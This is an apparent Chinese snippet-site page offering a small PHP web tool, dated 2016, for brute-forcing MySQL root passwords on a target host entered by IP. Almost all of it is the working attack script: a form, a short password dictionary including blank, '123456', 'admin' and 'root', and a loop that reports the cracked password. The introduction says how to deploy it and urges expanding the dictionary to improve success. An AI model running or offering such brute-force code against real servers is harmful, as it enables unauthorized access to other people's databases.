Mysql PHP版本爆破小腳本
(注意:從代碼可以看出用戶(hù)名是個(gè)變量,一般數(shù)據(jù)庫(kù)賬號(hào)不會(huì)變,所以用戶(hù)名沒(méi)用數(shù)組作為字典。密碼是用數(shù)組作為字典。字典可根據(jù)規(guī)矩?cái)U(kuò)展,破解的成功與失敗,就看你擴(kuò)展的字典強(qiáng)大不強(qiáng)大了。用法:保存代碼為MysqlDatabaseBlasting.php,瀏覽器打開(kāi)就可使用。 )
/* * author:Bearcat 2016-10-5 */<html> <head> <title>Mysql賬號(hào)密碼爆破工具</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> <center> <br><br> <h1>MysqlDatabaseBlasting(Mysql賬號(hào)密碼在線爆破工具 V1.0)</h1> <br><?php if(@$_POST['submit']){ $host = @$_POST['host']; if($host!=""){ $username = "root";//用戶(hù)名字典 $password = array('','123456','admin','root','ccf304vn'); //密碼字典 echo "<hr><br>--------------------爆破狀態(tài)--------------------<br>"; echo "密碼錯(cuò)誤次數(shù):"; for ($i=0; $i <= count($password); $i++) { if(@mysql_connect($host, $username, $password[$i])){ echo "<br><br><font color='red'>爆破成功--密碼-->".@$password[$i]."</font>"; break; }else{ echo $i."、"; continue; } } echo "<br>--------------------爆破結(jié)束--------------------<br><hr>"; }else{ echo "<script>alert('黑客,輸入數(shù)據(jù)庫(kù)IP地址')</script>"; } }?><br><br><br><br> <form action="MysqlDatabaseBlasting.php" method="post"> 數(shù)據(jù)庫(kù)IP地址:<input type="text" name="host"/> <input type="submit" value="爆破" name="submit"/> </form><center></body> </html>
新聞熱點(diǎn)
疑難解答
圖片精選